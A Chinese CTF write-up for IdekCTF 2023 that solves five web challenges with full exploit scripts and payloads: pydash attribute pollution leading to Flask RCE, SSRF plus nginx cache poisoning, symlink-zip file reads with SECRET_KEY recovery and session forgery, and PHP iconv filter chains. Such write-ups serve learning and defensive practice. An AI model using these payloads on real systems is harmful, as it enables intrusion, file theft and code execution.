2023IdekCTFWriteup

2023 IdekCTF Writeup

由于对xss不是很懂所以一般都是做的非xss部分,很高兴最终被强大的队友带飞下拿到第二名

image-20230117173517438

环境

环境可以在我的仓库下,备份了Dockerfile,可以本地搭建自己学习

https://github.com/Y4tacker/CTFBackup/tree/main/2023/IdekCTF

Task Manager

一个python写的好看的TODO LIST

image-20230117173610393

那么我们具体来看看如何实现,这里重点看,通过json传入task与status两个参数,不同参数条件进入不同分支,通过tasks对象实现了基本的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.route("/api/manage_tasks", methods=["POST"])
def manage_tasks():
task, status = request.json.get('task'), request.json.get('status')
try:
if not task or type(task) != str:
return {"message": "You must provide a task name as a string!"}, 400
if len(task) > 150:
return {"message": "Tasks may not be over 150 characters long!"}, 400
if status and len(status) > 50:
return {"message": "Statuses may not be over 50 characters long!"}, 400
if not status:
tasks.complete(task)
return {"message": "Task marked complete!"}, 200
if type(status) != str:
return {"message": "Your status must be a string!"}, 400
if tasks.set(task, status):
return {"message": "Task updated!"}, 200
return {"message": "Invalid task name!"}, 400
except Exception as e:
# e.
print(e)
return {"message": str(e)}, 200

那这个tasks对象又是个啥呢?如下2333,很明显给你提示了protected里面存在一些骚东西,看着是很像SSTI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import pydash

class TaskManager:
protected = ["set", "get", "get_all", "__init__", "complete"]

def __init__(self):
self.set("capture the flag", "incomplete")

def set(self, task, status):
if task in self.protected:
return
pydash.set_(self, task, status)
return True

def complete(self, task):
if task in self.protected:
return
pydash.set_(self, task, False)
return True

def get(self, task):
if hasattr(self, task):
return {task: getattr(self, task)}
return {}

def get_all(self):
return self.__dict__

同时我们再看看这个set_方法,看doc它支持一些链式调用

image-20230117174708618

但是也不是无敌的不像我们传统SSTI那样,它只能操作一些属性,而不能调用方法,同时他的操作对象是这个TaskManager类,同时由于代码限制我们只能为其赋值为string类型,这种思想就有点类似js当中原型链污染的感觉了

同时我们再回到app.py,如果app.env值是yojo,则会向全局模板函数中增加一个eval,通过add_template_global以后我们就能在模板里使用{{eval(payload)}}函数触发

1
2
3
4
@app.before_first_request
def init():
if app.env == "yojo":
app.add_template_global(eval)

那么现在重点就是如何通过TaskManager的实例对象获取到我们flask的app对象

有了这个一方面我们可以设置env,另一方面我们还可以控制before_first_request(毕竟这个只会在第一次加载时运行)

最终在python的debugger下通过点点点最终找到了这个app对象

image-20230117184046914

其中_got_first_request可以控制@app.before_first_request的运行

image-20230117184132874

非预期读文件

看看Dockerfile里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
FROM python:3.8.16-slim-bullseye

RUN apt update && apt install -y xxd

RUN python3 -m pip install flask pydash

RUN echo "idek{[REDACTED]}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txt

RUN useradd ctf

USER ctf

WORKDIR /app

COPY . .

ENTRYPOINT ["python3", "app.py"]

最后调用COPY . .复制了所有的文件,看看文件结构这也就以为着把Dockerfile自身也复制进去了2333

image-20230117184804829

姿势1

可以看到这里有个_static_url_path属性,这是啥目录大家都知道一些静态资源文件都放下面

image-20230117184901145

那么如果我们设置app._static_folder/ 接着访问 /static/etc/passwd

1
{"task":"__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app._static_folder","status":"/"}

任意文件读

image-20230117185404391

姿势2

从app.py当中看

1
2
3
4
5
6
@app.route("/<path:path>")
def render_page(path):
app._got_first_request = False
if not os.path.exists("templates/" + path):
return "not found", 404
return render_template(path)

如果我们访问/../app.py会怎么样呢,很显然报错了

image-20230117194717091

我们可以看看flask的实现代码,在jinja2.loaders.FileSystemLoader.get_source

在这里首先通过split_template_path处理路径

image-20230117194944069

如果我们路径当中带有..可以看到由于和os.path.pardir相等,导致抛出TemplateNotFound异常,也就是不允许跨目录

image-20230117195037650

那如果我们污染了os.path.pardir那么这里就通过了条件,不会拦截

image-20230117195359549

成功实现了跨目录读

image-20230117195443235

预期RCE

同时这里还有一个jinja_env属性我们可以看到很多有趣的属性比如auto_reload,这里还有识别模板的{%%}以及{{}}

image-20230117184230034

image-20230117184436469

姿势1

那么到了这里如果我们能找到一个py文件,这个py文件里面有eval函数,那是不是我们就能成功rce了呢?这部分我和队友一直没找到,最后出题人提供了答案,在/usr/local/lib/python3.8/turtle.py

image-20230117195832333

那么如果我们控制修改这个模板的标签,再配合污染os.path.pardir,那么是不是就能渲染任意文件顺利RCE了呢

image-20230117195923913

提供一个出题人的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import re

base_url = "http://localhost:1337"
#base_url = "https://task-manager-dc512c530573c0b4.instancer.idek.team"

hijack_start = """'""']:\n value = """
hijack_end = "\n"


payloads = {
"__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.env": "yolo",
"__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.globals.value": "__import__('os').popen('cat /flag-*.txt').read()",
"__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_start_string": hijack_start,
"__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_end_string": hijack_end,
"__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir": "ZZZ",
"__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app._got_first_request": None,

}

def overwrite(attr, value):
data = {"task": attr, "status": value}
requests.post(base_url + "/api/manage_tasks", json=data)

def get_flag():
url = base_url + "/../../usr/local/lib/python3.8/turtle.py"
s = requests.Session()
r = requests.Request(method='GET', url=url)
prep = r.prepare()
prep.url = url
r = s.send(prep)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)

for k, v in payloads.items():
overwrite(k, v)

get_flag()
姿势2

学习自国外友人https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager

从编译入手很秀,在生成模板的过程中jinja2.compiler.CodeGenerator.visit_Template

如果我们污染了exported变量那么就可以控制模板的生成

image-20230117204159912

正好是可以的

image-20230117204310119

之后访问渲染任意模板的时候就能触发RCE,很厉害!

Proxy viewer

比较有意思的题目,首先看看app.py中关键路由部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
app = Flask(
__name__,
static_url_path='/static',
static_folder='./static',
)

PREMIUM_TOKEN = os.urandom(32).hex()

limiter = Limiter(app, key_func=get_remote_address)

@app.after_request
def add_headers(response):
response.cache_control.max_age = 120
return response

@app.route('/')
def index():
return render_template('index.html')

@app.route('/proxy/<path:path>')
@limiter.limit("10/minute")
def proxy(path):
remote_addr = request.headers.get('X-Forwarded-For') or request.remote_addr
is_authorized = request.headers.get('X-Premium-Token') == PREMIUM_TOKEN or remote_addr == "127.0.0.1"
try:
page = urlopen(path, timeout=.5)
except:
return render_template('proxy.html', auth=is_authorized)
if is_authorized:
output = page.read().decode('latin-1')
else:
output = f"<pre>{page.headers.as_string()}</pre>"
return render_template('proxy.html', auth=is_authorized, content=output)

其中比较关键的是这个/proxy路由,存在一个ssrf漏洞,但是必须is_authorizedtrue才会返回全部结果,否则只返回响应头

另一个关键的地方就是nginx的配置,可以看见如果以/static/开头那么就会缓存对应页面内容

同时可以看到对/开头的所有请求都会增加一个XFF头,因此对于上面的remote_addr我们无法进行伪造,因为nginx对此处理是追加ip,比如(XFF:127.0.0.1,readlip)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
events {
worker_connections 1024;
}

http {
include mime.types;
proxy_cache_path /tmp/nginx keys_zone=my_zone:10m inactive=60m use_temp_path=off;

server {

listen 1337;
client_max_body_size 64M;

location / {
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://localhost:3000;
}

location ^~ /static/ {
proxy_pass http://localhost:3000;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_cache my_zone;
add_header X-Proxy-Cache $upstream_cache_status;
}
}
}

这里还要用到一个trick就是,urlopen内部处理时会在urllib.request.Request.full_url中去除#后面部分

1
2
3
4
5
6
7
8
9
10
11
12
13
@full_url.setter
def full_url(self, url):
# unwrap('<URL:type://host/path>') --> 'type://host/path'
self._full_url = unwrap(url)
self._full_url, self.fragment = _splittag(self._full_url)
self._parse()

def _splittag(url):
"""splittag('/path#tag') --> '/path', 'tag'."""
path, delim, tag = url.rpartition('#')
if delim:
return path, tag
return url, None

因此配合这个trick,我们先访问

1
http://127.0.0.1:1337/proxy/http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523/../../../static/a

此时flask会把file%3a///flag.txt%2523/../../../static/a整体当作

而nginx则会对url做normalize处理,最终导致nginx识别请求为http://127.0.0.1:1337/static/a

image-20230119110043007

再访问即可触发缓存

1
http://127.0.0.1:1337/proxy/http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523/../../../static/a

image-20230119110111302

SimpleFileServer

也是python的flask的题目

可以看到获得flag的条件,那就是成为admin,所以很容易猜测到考点是session伪造,而flask里面这个session的生成通常和变量app.config["SECRET_KEY"]息息相关

1
2
3
4
5
@app.route("/flag")
def flag():
if not session.get("admin"):
return "Unauthorized!"
return subprocess.run("./flag", shell=True, stdout=subprocess.PIPE).stdout.decode("utf-8")

因此一切的前提是我们能获得这个SECRET_KEY

1
app.config["SECRET_KEY"] = os.environ["SECRET_KEY"]

而这部分生成在config.py当中

1
2
3
SECRET_OFFSET = 0 # REDACTED
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

要爆破这部分很明显一是我们需要知道这个time.time()的值,另一个还需要知道SECRET_OFFSET的偏移

除开注册与登录路由,upoad支持上传一个zip文件并解压到指定目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@app.route("/upload", methods=["GET", "POST"])
def upload():
if not session.get("uid"):
return redirect("/login")
if request.method == "GET":
return render_template("upload.html")

if "file" not in request.files:
flash("You didn't upload a file!", "danger")
return render_template("upload.html")

file = request.files["file"]
uuidpath = str(uuid.uuid4())
filename = f"{DATA_DIR}uploadraw/{uuidpath}.zip"
file.save(filename)
subprocess.call(["unzip", filename, "-d", f"{DATA_DIR}uploads/{uuidpath}"])
flash(f'Your unique ID is <a href="/uploads/{uuidpath}">{uuidpath}</a>!', "success")
logger.info(f"User {session.get('uid')} uploaded file {uuidpath}")
return redirect("/upload")

uploads/xxx路由支持我们之间读取上传解压后的文件内容

1
2
3
4
5
6
@app.route("/uploads/<path:path>")
def uploads(path):
try:
return send_from_directory(DATA_DIR + "uploads", path)
except PermissionError:
abort(404)

这个读文件部分按理说只能读取uploads下的文件,看看底层实现用的是safe_join不支持跨目录读取

image-20230117172800202

可以看到在这里获取路径path后,最终调用open打开文件并返回内容

image-20230117172906258

解决方法是可以配合symlink软连接实现任意文件读,这样我们一方面可以读config.py获取SECRET_OFFSET

另一方面为了得到时间

可以看到题目很良心的在server.log当中输出了time

1
2
3
4
5
6
7
8
9
10
# Configure logging
LOG_HANDLER = logging.FileHandler(DATA_DIR + 'server.log')
LOG_HANDLER.setFormatter(logging.Formatter(fmt="[{levelname}] [{asctime}] {message}", style='{'))
logger = logging.getLogger("application")
logger.addHandler(LOG_HANDLER)
logger.propagate = False
for handler in logging.root.handlers[:]:
logging.root.removeHandler(handler)
logging.basicConfig(level=logging.WARNING, format='%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')
logging.getLogger().addHandler(logging.StreamHandler())

不过这个时间不是精确的,通过转换为时间戳我们只能精确到整数部分,不过好在这里随机数的seed是配合round做了取整因此我们就能很容易实现爆破了

image-20230117140247774

我们可以很方便配合这个信息得到time.time()的值

本地ln做一个symlink的文件

image-20230117133315792

之后爆破到SECRET_KEY后,修改admin为true再生成session即可

1
decoded = {'admin': True, 'uid': userinfo['username']}

最终exp,配合flask_unsign

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import base64

import requests, re, time, datetime, random
import flask_unsign

sess = requests.session()
SECRET_OFFSET = -67198624 * 1000
userinfo = {"username": "yyds", "password": "yyds"}
baseurl = "http://127.0.0.1:1337/"
pocZip = "UEsDBAoAAAAAACJsMVZvT1MBDwAAAA8AAAAKABwAc2VydmVyLmxvZ1VUCQADDzPGYw8zxmN1eAsAAQT1AQAABBQAAAAvdG1wL3NlcnZlci5sb2dQSwMECgAAAAAAG2wxVuPo95IOAAAADgAAAAkAHABjb25maWcucHlVVAkAAwUzxmMFM8ZjdXgLAAEE9QEAAAQUAAAAL2FwcC9jb25maWcucHlQSwECHgMKAAAAAAAibDFWb09TAQ8AAAAPAAAACgAYAAAAAAAAAAAA7aEAAAAAc2VydmVyLmxvZ1VUBQADDzPGY3V4CwABBPUBAAAEFAAAAFBLAQIeAwoAAAAAABtsMVbj6PeSDgAAAA4AAAAJABgAAAAAAAAAAADtoVMAAABjb25maWcucHlVVAUAAwUzxmN1eAsAAQT1AQAABBQAAABQSwUGAAAAAAIAAgCfAAAApAAAAAAA"
cookie = ""
log_url = ""

def register():
reg_url = baseurl + "register"
sess.post(reg_url, userinfo)


def login():
global cookie
set_cookie = sess.post(baseurl + "login", data=userinfo, allow_redirects=False).headers['Set-Cookie']
cookie = set_cookie[8:82]


def upload():
global log_url
log_url = re.search('<a href="/uploads/.*">', sess.post(
baseurl + "upload", headers={'Cookie': f'session={cookie}'},
files={'file': base64.b64decode(pocZip)}).text).group()[9:-2]

def read():
server_log = baseurl + log_url + "/server.log"
config = baseurl + log_url + "/config.py"
SECRET_OFFSET = int(re.findall("SECRET_OFFSET = (.*?) # REDACTED", sess.get(config).text)[0]) * 1000
log = sess.get(server_log).text
now = (time.mktime(datetime.datetime.strptime(log.split('\n')[0][1:20], "%Y-%m-%d %H:%M:%S").timetuple())) * 1000
return SECRET_OFFSET,now



if __name__ == '__main__':
register()
login()
upload()
SECRET_OFFSET, now = read()
while 1:
decoded = {'admin': True, 'uid': userinfo['username']}
random.seed(round(now + int(SECRET_OFFSET)))
SECRET_KEY = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
flag_url = baseurl + "flag"
res = sess.get(flag_url, headers={'Cookie': f'session={flask_unsign.sign(decoded, SECRET_KEY)}'}).text
if "idek" not in res:
now += 1
print(now)
continue
print(res)
break

ReadMe

很简单签到题,算是个逻辑漏洞问题

这个程序中只有一个路由

1
http.HandleFunc("/just-read-it", justReadIt)

首先简单看一下可以得出程序逻辑如果能成功走到justReadIt函数最下方就能获得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
func justReadIt(w http.ResponseWriter, r *http.Request) {
defer r.Body.Close()

body, err := ioutil.ReadAll(r.Body)
if err != nil {
w.WriteHeader(500)
w.Write([]byte("bad request\n"))
return
}

reqData := ReadOrderReq{}
if err := json.Unmarshal(body, &reqData); err != nil {
w.WriteHeader(500)
w.Write([]byte("invalid body\n"))
return
}

if len(reqData.Orders) > MaxOrders {
w.WriteHeader(500)
w.Write([]byte("whoa there, max 10 orders!\n"))
return
}

reader := bytes.NewReader(randomData)
validator := NewValidator()

ctx := context.Background()
for _, o := range reqData.Orders {
if err := validator.CheckReadOrder(o); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("error: %v\n", err)))
return
}

ctx = WithValidatorCtx(ctx, reader, int(o))
_, err := validator.Read(ctx)
if err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))
return
}
}

if err := validator.Validate(ctx); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))
return
}

w.WriteHeader(200)
w.Write([]byte(os.Getenv("FLAG")))
}

我们一点一点来看,首先是接受了一个传来的json数据,解析保存到reqData当中,从下面可以看出只接收一个完全由数字组成的int数组,字段名叫orders

1
2
3
type ReadOrderReq struct {
Orders []int `json:"orders"`
}

之后会用randomData初始化一个reader

1
reader := bytes.NewReader(randomData)

而这个randomData则是由initRandomData函数初始化,记住这个password复制在了12625之后

1
2
3
4
5
6
7
8
func initRandomData() {
rand.Seed(1337)
randomData = make([]byte, 24576)
if _, err := rand.Read(randomData); err != nil {
panic(err)
}
copy(randomData[12625:], password[:])
}

初始化之后会遍历reqData.Orders

调用CheckReadOrder检查oders中的int值范围是否在0-100

1
2
3
4
5
6
func (v *Validator) CheckReadOrder(o int) error {
if o <= 0 || o > 100 {
return fmt.Errorf("invalid order %v", o)
}
return nil
}

之后根据数值读出指定位数的值

1
2
ctx = WithValidatorCtx(ctx, reader, int(o))
_, err := validator.Read(ctx)

再往下就是最关键的地方,如果这里的validate校验过了才能拿到flag

1
2
3
4
5
6
7
8
if err := validator.Validate(ctx); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))
return
}

w.WriteHeader(200)
w.Write([]byte(os.Getenv("FLAG")))

这个函数功能就是读32位,之后与password比较,成功返回true,而我们前面说过这个password复制在了12625之后,并且oders数组容量最多只能有10个数字

1
2
3
4
5
6
7
8
9
10
11
func (v *Validator) Validate(ctx context.Context) error {
r, _ := GetValidatorCtxData(ctx)
buf, err := v.Read(WithValidatorCtx(ctx, r, 32))
if err != nil {
return err
}
if bytes.Compare(buf, password[:]) != 0 {
return errors.New("invalid password")
}
return nil
}

就算全取最大100,10个也才1000,距离我们的12625还差很远

再往前看发现read之前

1
2
3
4
5
6
7
8
9
func (v *Validator) Read(ctx context.Context) ([]byte, error) {
r, s := GetValidatorCtxData(ctx)
buf := make([]byte, s)
_, err := r.Read(buf)
if err != nil {
return nil, fmt.Errorf("read error: %v", err)
}
return buf, nil
}

有这样一个调用,如果size大于等于100会调用一个bufio.NewReader

1
2
3
4
5
6
7
8
func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {
reader := ctx.Value(reqValReaderKey).(io.Reader)
size := ctx.Value(reqValSizeKey).(int)
if size >= 100 {
reader = bufio.NewReader(reader)
}
return reader, size
}

这个defaultBufSize是4096

1
2
3
4
// NewReader returns a new Reader whose buffer has the default size.
func NewReader(rd io.Reader) *Reader {
return NewReaderSize(rd, defaultBufSize)
}

最终

image-20230117125832912

Paywall

想看原理的移步陆队之前写的,我是脚本小子

https://tttang.com/archive/1395/#toc_iconv-filter-chain

本题是用php实现的一个blog系统,除开样式读取核心代码非常简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

error_reporting(0);
set_include_path('articles/');

if (isset($_GET['p'])) {
$article_content = file_get_contents($_GET['p'], 1);

if (strpos($article_content, 'PREMIUM') === 0) {
die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
}
else if (strpos($article_content, 'FREE') === 0) {
echo "<article>$article_content</article>";
die();
}
else {
die('nothing here');
}
}

?>

可以看到,对于文章内容前是PREMIUM的不能读取,FREE的则可以读

很可惜我们的flag文件恰好前面也是PREMIUM,那么要想读取这个文件很显然我们可以配合php的filter构造出FREE四个字母也就可以实现读取了

image-20230117141026989

下面是工具

https://github.com/synacktiv/php_filter_chain_generator

https://github.com/WAY29/php_filter_chain_generator

发现直接生成出来的虽然有FREE,但是都无法看了

1
FREE�B�5$TԕT���FV��F�F��U�E�7V'65##�u�C��W%��7w5�W"����>==�@C������>==�@

然而发现把每个环节的convert.iconv.UTF8.UTF7去掉

就可以变成明文了,脚本小子表示很神奇,最后为了不丢失符号(毕竟Base64字符里面没有一些特殊符号!{}!之类的),因此第一步事先base64enccode一下

最终得到payload

1
http://127.0.0.1/?p=php://filter/convert.base64-encode|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode/resource=flag

但是根据这样构造本地发现会少最后三个字符,除开}符号还剩两个

看看题目描述可以猜出最后俩字符,Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPPaper,最后一个字母肯定是个符号所以是!

1
idek{Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPaper!}

image-20230117164606331

当然最后发现工具也可以直接用,注意后面有俩空格

1
python php_filter_chain_generator.py --chain 'FREE  '

得到

1
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=flag

本脚本小子觉得很有意思就是了

image-20230117164803115